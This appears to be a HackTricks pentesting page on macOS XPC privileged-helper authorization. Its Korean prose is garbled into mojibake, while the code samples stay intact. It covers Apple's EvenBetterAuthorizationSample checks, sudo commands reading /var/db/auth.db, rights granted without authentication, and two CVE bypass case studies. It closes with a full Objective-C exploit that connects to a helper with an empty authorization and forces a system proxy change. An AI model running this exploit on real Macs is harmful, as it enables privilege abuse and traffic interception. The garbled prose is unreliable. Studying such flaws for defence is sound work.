macOS XPC ๊ถํ ๋ถ์ฌ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
XPC ๊ถํ
Apple์ ์ฐ๊ฒฐํ๋ ํ๋ก์ธ์ค๊ฐ ๋ ธ์ถ๋ XPC ๋ฉ์๋๋ฅผ ํธ์ถํ ๊ถํ์ ๊ฐ์ง๊ณ ์๋ ๊ฒฝ์ฐ ์ธ์ฆํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ ์ํ๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์ด ๊ถํ ์๋ ์ฌ์ฉ์๋ก์ ๋์์ ์คํํด์ผ ํ ๋, ์ ํ๋ฆฌ์ผ์ด์ ์์ฒด๋ฅผ ๊ถํ ์๋ ์ฌ์ฉ์๋ก ์คํํ๋ ๋์ ๋ณดํต ๋ฃจํธ๋ก HelperTool์ ์ค์นํ์ฌ ์ฑ์์ ํธ์ถํด ํด๋น ๋์์ ์ํํ๋ XPC ์๋น์ค๋ก ์ฌ์ฉํ๋ค. ํ์ง๋ง ๊ทธ ์๋น์ค๋ฅผ ํธ์ถํ๋ ์ฑ์ ์ถฉ๋ถํ ๊ถํ์ ๊ฐ์ ธ์ผ ํ๋ค.
ShouldAcceptNewConnection ํญ์ YES
์์ ๋ EvenBetterAuthorizationSample์์ ์ฐพ์ ์ ์๋ค. App/AppDelegate.m์์๋ HelperTool์ ์ฐ๊ฒฐํ๋ ค๊ณ ํ๋ค. ๊ทธ๋ฆฌ๊ณ HelperTool/HelperTool.m์์๋ ํจ์ **shouldAcceptNewConnection**๊ฐ ์์ ์ธ๊ธํ ์ด๋ค ์๊ตฌ ์ฌํญ๋ ํ์ธํ์ง ์๋๋ค. ํญ์ YES๋ฅผ ๋ฐํํ๋ค:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
์ด ๊ฒ์ฌ๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ๊ตฌ์ฑํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์:
macOS XPC Connecting Process Check
์ ํ๋ฆฌ์ผ์ด์ ๊ถํ
ํ์ง๋ง, HelperTool์ ๋ฉ์๋๊ฐ ํธ์ถ๋ ๋ authorization ์ฒ๋ฆฌ๊ฐ ์ํ๋ฉ๋๋ค.
App/AppDelegate.m์ ํจ์ **applicationDidFinishLaunching**๋ ์ฑ์ด ์์๋ ํ ๋น authorization reference๋ฅผ ์์ฑํฉ๋๋ค. ์ด๋ ํญ์ ๋์ํด์ผ ํฉ๋๋ค.
๊ทธ๋ฐ ๋ค์, setupAuthorizationRights๋ฅผ ํธ์ถํ์ฌ ํด๋น authorization reference์ ๊ถํ์ ์ถ๊ฐํ๋ ค๊ณ ์๋ํฉ๋๋ค:
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
Common/Common.m์ setupAuthorizationRights ํจ์๋ ์ธ์ฆ ๋ฐ์ดํฐ๋ฒ ์ด์ค /var/db/auth.db์ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ถํ์ ์ ์ฅํฉ๋๋ค. ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์์ง ์๋ ๊ถํ๋ง ์ถ๊ฐํ๋ค๋ ์ ์ ์ฃผ๋ชฉํ์ธ์:
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
ํจ์ enumerateRightsUsingBlock์ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ถํ์ ๊ฐ์ ธ์ค๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ํด๋น ๊ถํ๋ค์ commandInfo์ ์ ์๋์ด ์์ต๋๋ค:
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
์ด๊ฒ์ ์ด ๊ณผ์ ์ด ๋๋๋ฉด commandInfo ๋ด์ ์ ์ธ๋ ๊ถํ๋ค์ด /var/db/auth.db์ ์ ์ฅ๋๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค. ๊ฑฐ๊ธฐ์์๋ ๊ฐ ๋ฉ์๋์ ๋ํด ์ธ์ฆ์ด ํ์ํ ๊ฒฝ์ฐ, ๊ถํ ์ด๋ฆ(permission name) ๋ฐ **kCommandKeyAuthRightDefault**๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ํ์๋ ๋๊ฐ ์ด ๊ถํ์ ์ป์ ์ ์๋์ง๋ฅผ ๋ํ๋
๋๋ค.
๊ถํ์ ์ ๊ทผํ ์ ์๋ ์ฃผ์ฒด๋ฅผ ๋ํ๋ด๋ ๋ค์ํ ๋ฒ์๊ฐ ์์ต๋๋ค. ๊ทธ ์ค ์ผ๋ถ๋ AuthorizationDB.h (you can find all of them in here)์ ์ ์๋์ด ์์ผ๋ฉฐ, ์์ฝํ๋ฉด:
| ์ด๋ฆ | ๊ฐ | ์ค๋ช |
|---|---|---|
| kAuthorizationRuleClassAllow | allow | ๋๊ตฌ๋ |
| kAuthorizationRuleClassDeny | deny | ์๋ฌด๋ |
| kAuthorizationRuleIsAdmin | is-admin | ํ์ฌ ์ฌ์ฉ์๊ฐ admin(๊ด๋ฆฌ์) ๊ทธ๋ฃน์ ์ผ์์ด์ด์ผ ํจ |
| kAuthorizationRuleAuthenticateAsSessionUser | authenticate-session-owner | ์ฌ์ฉ์์๊ฒ ์ธ์ฆ์ ์๊ตฌํจ. |
| kAuthorizationRuleAuthenticateAsAdmin | authenticate-admin | ์ฌ์ฉ์์๊ฒ ์ธ์ฆ์ ์๊ตฌํจ. ์ฌ์ฉ์๋ admin(๊ด๋ฆฌ์) ๊ทธ๋ฃน์ ์ผ์์ด์ด์ผ ํจ |
| kAuthorizationRightRule | rule | ๊ท์น์ ์ง์ |
| kAuthorizationComment | comment | ๊ถํ์ ๋ํ ์ถ๊ฐ ์ค๋ช ์ ์ง์ |
๊ถํ ํ์ธ
In HelperTool/HelperTool.m the function readLicenseKeyAuthorization checks if the caller is authorized to execute such method calling the function checkAuthorization. This function will check the authData sent by the calling process has a correct format and then will check what is needed to get the right to call the specific method. If all goes good the returned error will be nil:
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
์ฃผ์: ํด๋น ๋ฉ์๋๋ฅผ ํธ์ถํ ๊ถํ์ ์ป๊ธฐ ์ํ ์๊ตฌ์ฌํญ์ ํ์ธํ๋ ค๋ฉด ํจ์ authorizationRightForCommand๋ ์ด์ ์ ์ฃผ์ ์ฒ๋ฆฌ๋ ๊ฐ์ฒด **commandInfo**๋ง ํ์ธํฉ๋๋ค. ๊ทธ ๋ค์, ํจ์๋ฅผ ํธ์ถํ ๊ถํ์ด ์๋์ง ํ์ธํ๊ธฐ ์ํด **AuthorizationCopyRights**๋ฅผ ํธ์ถํฉ๋๋ค(ํ๋๊ทธ๊ฐ ์ฌ์ฉ์์์ ์ํธ์์ฉ์ ํ์ฉํ๋ค๋ ์ ์ ์ ์ํ์ธ์).
์ด ๊ฒฝ์ฐ ํจ์ readLicenseKeyAuthorization๋ฅผ ํธ์ถํ๊ธฐ ์ํด kCommandKeyAuthRightDefault๋ @kAuthorizationRuleClassAllow๋ก ์ ์๋์ด ์์ต๋๋ค. ๋ฐ๋ผ์ ๋๊ตฌ๋ ํธ์ถํ ์ ์์ต๋๋ค.
DB ์ ๋ณด
์ด ์ ๋ณด๋ /var/db/auth.db์ ์ ์ฅ๋์ด ์๋ค๊ณ ์ธ๊ธ๋์์ต๋๋ค. ์ ์ฅ๋ ๋ชจ๋ ๊ท์น์ ๋ค์ ๋ช
๋ น์ผ๋ก ๋์ดํ ์ ์์ต๋๋ค:
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
๊ทธ๋ฐ ๋ค์, ๋ค์ ๋ช ๋ น์ผ๋ก ๋๊ฐ ํด๋น ๊ถํ์ ์ ๊ทผํ ์ ์๋์ง ํ์ธํ ์ ์์ต๋๋ค:
security authorizationdb read com.apple.safaridriver.allow
ํ์ฉ ๊ถํ
You can find all the permissions configurations in here, but the combinations that wonโt require user interaction would be:
- โauthenticate-userโ: โfalseโ
- ์ด๊ฒ์ ๊ฐ์ฅ ์ง์ ์ ์ธ ํค์
๋๋ค.
false๋ก ์ค์ ๋๋ฉด ์ฌ์ฉ์๊ฐ ์ด ๊ถํ์ ์ป๊ธฐ ์ํด ์ธ์ฆ์ ์ ๊ณตํ ํ์๊ฐ ์์์ ์ง์ ํฉ๋๋ค. - ์ด๋ ์๋ ๋ ๊ฐ์ง ์ค ํ๋์ ๊ฒฐํฉ๋๊ฑฐ๋ ์ฌ์ฉ์๊ฐ ์ํด์ผ ํ๋ ๊ทธ๋ฃน์ ์ง์ ํ ๋ ์ฌ์ฉ๋ฉ๋๋ค.
- โallow-rootโ: โtrueโ
- ์ฌ์ฉ์๊ฐ root user๋ก ์๋ํ๊ณ (๊ถํ์ด ์์น๋ ์ํ), ์ด ํค๊ฐ
true๋ก ์ค์ ๋์ด ์์ผ๋ฉด root user๋ ์ถ๊ฐ ์ธ์ฆ ์์ด ์ด ๊ถํ์ ์ป์ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ผ๋ฐ์ ์ผ๋ก root user ์ํ์ ๋๋ฌํ๋ ค๋ฉด ์ด๋ฏธ ์ธ์ฆ์ด ํ์ํ๋ฏ๋ก ๋๋ถ๋ถ์ ์ฌ์ฉ์์๊ฒ๋ โ์ธ์ฆ ์์โ ์๋๋ฆฌ์ค๋ ์๋๋๋ค.
- โsession-ownerโ: โtrueโ
true๋ก ์ค์ ๋๋ฉด ์ธ์ ์์ ์(ํ์ฌ ๋ก๊ทธ์ธํ ์ฌ์ฉ์)๊ฐ ์๋์ผ๋ก ์ด ๊ถํ์ ์ป์ต๋๋ค. ์ฌ์ฉ์๊ฐ ์ด๋ฏธ ๋ก๊ทธ์ธํ ์ํ๋ผ๋ฉด ์ถ๊ฐ ์ธ์ฆ์ ์ฐํํ ์ ์์ต๋๋ค.
- โsharedโ: โtrueโ
- ์ด ํค๋ ์ธ์ฆ ์์ด ๊ถํ์ ๋ถ์ฌํ์ง ์์ต๋๋ค. ๋์
true๋ก ์ค์ ๋๋ฉด ๊ถํ์ด ํ ๋ฒ ์ธ์ฆ๋ ํ์๋ ๊ฐ ํ๋ก์ธ์ค๊ฐ ๋ค์ ์ธ์ฆํ ํ์ ์์ด ์ฌ๋ฌ ํ๋ก์ธ์ค ๊ฐ์ ๊ณต์ ๋ ์ ์์์ ์๋ฏธํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๊ธฐ ๊ถํ ๋ถ์ฌ๋ ์ฌ์ ํ'authenticate-user': 'false'์ ๊ฐ์ ๋ค๋ฅธ ํค์ ๊ฒฐํฉ๋์ง ์๋ ํ ์ธ์ฆ์ ํ์๋ก ํฉ๋๋ค.
You can use this script to get the interesting rights:
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
Authorization Bypass Case Studies
- CVE-2024-4395 โ Jamf Compliance Editor helper: ๊ฐ์ฌ๋ฅผ ์คํํ๋ฉด
/Library/LaunchDaemons/com.jamf.complianceeditor.helper.plist๊ฐ ์ค์น๋๊ณ , Mach ์๋น์คcom.jamf.complianceeditor.helper๊ฐ ๋ ธ์ถ๋๋ฉฐ ํธ์ถ์์AuthorizationExternalForm์ด๋ ์ฝ๋ ์๋ช ์ ํ์ธํ์ง ์๊ณ-executeScriptAt:arguments:then:๋ฅผ export ํฉ๋๋ค. ์ฌ์ํ ์ต์คํ๋ก์์AuthorizationCreate๋ก ๋น ์ฐธ์กฐ๋ฅผ ๋ง๋ค๊ณ[[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged]๋ก ์ฐ๊ฒฐํ ๋ค ํด๋น ๋ฉ์๋๋ฅผ ํธ์ถํด ์์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ root๋ก ์คํ์ํต๋๋ค. ์ ์ฒด ๋ฆฌ๋ฒ์ฑ ๋ ธํธ(๋ฐ PoC)๋ Mykola Grymalyukโs write-up์ ์์ต๋๋ค. - CVE-2025-25251 โ FortiClient Mac helper: FortiClient Mac 7.0.0โ7.0.14, 7.2.0โ7.2.8 ๋ฐ 7.4.0โ7.4.2๋ ๊ถํ ๊ฒ์ฆ์ด ์๋ privileged helper์ ๋๋ฌํ๋ ์กฐ์๋ XPC ๋ฉ์์ง๋ฅผ ์๋ฝํ์ต๋๋ค. helper๊ฐ ์์ฒด์ privileged
AuthorizationRef๋ฅผ ์ ๋ขฐํ๊ธฐ ๋๋ฌธ์, ์๋น์ค์ ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์ ์๋ ๋ก์ปฌ ์ฌ์ฉ์๋ ์ด๋ฅผ ์ด์ฉํด ์์์ ์ค์ ๋ณ๊ฒฝ์ด๋ ๋ช ๋ น์ root๋ก ์คํํ๋๋ก ๊ฐ์ ํ ์ ์์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ SentinelOneโs advisory summary๋ฅผ ์ฐธ์กฐํ์ธ์.
Rapid triage tips
- ์ฑ์ด GUI์ helper๋ฅผ ํจ๊ป ๋ฐฐํฌํ ๋๋ ๋ ๊ตฌ์ฑ์์์ code requirements๋ฅผ ๋น๊ต(diff)ํ๊ณ
shouldAcceptNewConnection๊ฐ ๋ฆฌ์ค๋๋ฅผ-setCodeSigningRequirement:๋ก ์ ๊ทธ๋์ง(๋๋SecCodeCopySigningInformation์ ๊ฒ์ฆํ๋์ง) ํ์ธํ์ธ์. ๊ฒ์ฌ ๋๋ฝ์ ์ผ๋ฐ์ ์ผ๋ก Jamf ์ฌ๋ก์ฒ๋ผ CWE-863 ์๋๋ฆฌ์ค๋ก ์ด์ด์ง๋๋ค. ๋น ๋ฅธ ํ์ธ์ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ ๋๋ค:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
- ํฌํผ๊ฐ ๊ถํ์ ๋ถ์ฌํ๋ค๊ณ ์๊ฐํ๋ ๊ฒ๊ณผ ํด๋ผ์ด์ธํธ๊ฐ ์ ๊ณตํ๋ ๊ฒ์ ๋น๊ตํ๋ผ. ๋ฆฌ๋ฒ์ฑํ ๋๋
AuthorizationCopyRights์์ ์ค๋จํ๊ณAuthorizationRef๊ฐ ํฌํผ์ ์์ฒด ๊ถํ ์๋ ์ปจํ ์คํธ๊ฐ ์๋๋ผ ํด๋ผ์ด์ธํธ๊ฐ ์ ๊ณตํAuthorizationCreateFromExternalForm์์ ๋น๋กฏ๋์๋์ง ํ์ธํ๋ผ. ๊ทธ๋ ์ง ์์ผ๋ฉด ์ ์ฌ๋ก๋ค๊ณผ ์ ์ฌํ CWE-863 ํจํด์ ๋ฐ๊ฒฌํ ๊ฒ์ผ ๊ฐ๋ฅ์ฑ์ด ๋๋ค.
๊ถํ ๋ฆฌ๋ฒ์ฑ
EvenBetterAuthorization ์ฌ์ฉ ์ฌ๋ถ ํ์ธ
ํจ์ [HelperTool checkAuthorization:command:] ๋ฅผ ์ฐพ์ผ๋ฉด, ํด๋น ํ๋ก์ธ์ค๊ฐ ์์ ์ธ๊ธํ ๊ถํ ๋ถ์ฌ ์คํค๋ง๋ฅผ ์ฌ์ฉํ๊ณ ์์ ๊ฐ๋ฅ์ฑ์ด ๋๋ค:
.png)
์ด ๊ฒฝ์ฐ, ๋ง์ฝ ์ด ํจ์๊ฐ AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree ๊ฐ์ ํจ์๋ฅผ ํธ์ถํ๋ค๋ฉด, EvenBetterAuthorizationSample๋ฅผ ์ฌ์ฉํ๊ณ ์๋ ๊ฒ์ด๋ค.
/var/db/auth.db ๋ฅผ ํ์ธํด์ ์ฌ์ฉ์ ์ํธ์์ฉ ์์ด ์ผ๋ถ ๊ถํ ์๋ ๋์์ ํธ์ถํ ์ ์๋ ๊ถํ์ ์ป์ ์ ์๋์ง ํ์ธํ๋ผ.
ํ๋กํ ์ฝ ํต์
๊ทธ ๋ค์์ผ๋ก, XPC ์๋น์ค์ ํต์ ์ ์๋ฆฝํ ์ ์๋๋ก ํ๋กํ ์ฝ ์คํค๋ง๋ฅผ ์ฐพ์์ผ ํ๋ค.
ํจ์ shouldAcceptNewConnection ๋ ๋ด๋ณด๋ด์ง๋ ํ๋กํ ์ฝ์ ๋ํ๋ธ๋ค:
.png)
์ด ๊ฒฝ์ฐ, EvenBetterAuthorizationSample๊ณผ ๋์ผํ๋ค, check this line.
์ฌ์ฉ๋ ํ๋กํ ์ฝ ์ด๋ฆ์ ์๋ฉด, itโs possible to dump its header definition with:
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]
๋ง์ง๋ง์ผ๋ก, ํต์ ์ ์๋ฆฝํ๊ธฐ ์ํด ๊ณต๊ฐ๋ Mach Service์ ์ด๋ฆ๋ง ์๋ฉด ๋ฉ๋๋ค. ์ด๋ฅผ ์ฐพ๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฐ์ง๊ฐ ์์ต๋๋ค:
- **
[HelperTool init]**์์ Mach Service๊ฐ ์ฌ์ฉ๋๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค:
.png)
- launchd plist์์:
cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]
Exploit ์์
์ด ์์ ์์๋ ๋ค์์ด ์์ฑ๋ฉ๋๋ค:
- ํจ์๋ค์ด ํฌํจ๋ ํ๋กํ ์ฝ ์ ์
- ์ก์ธ์ค๋ฅผ ์์ฒญํ๋ ๋ฐ ์ฌ์ฉํ ๋น auth
- XPC ์๋น์ค์ ๋ํ ์ฐ๊ฒฐ
- ์ฐ๊ฒฐ์ด ์ฑ๊ณตํ๋ฉด ํจ์ ํธ์ถ
// gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
์ ์ฉ๋ ๊ธฐํ XPC ๊ถํ ํฌํผ
์ฐธ๊ณ ์๋ฃ
- https://theevilbit.github.io/posts/secure_coding_xpc_part1/
- https://khronokernel.com/macos/2024/05/01/CVE-2024-4395.html
- https://www.sentinelone.com/vulnerability-database/cve-2025-25251/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
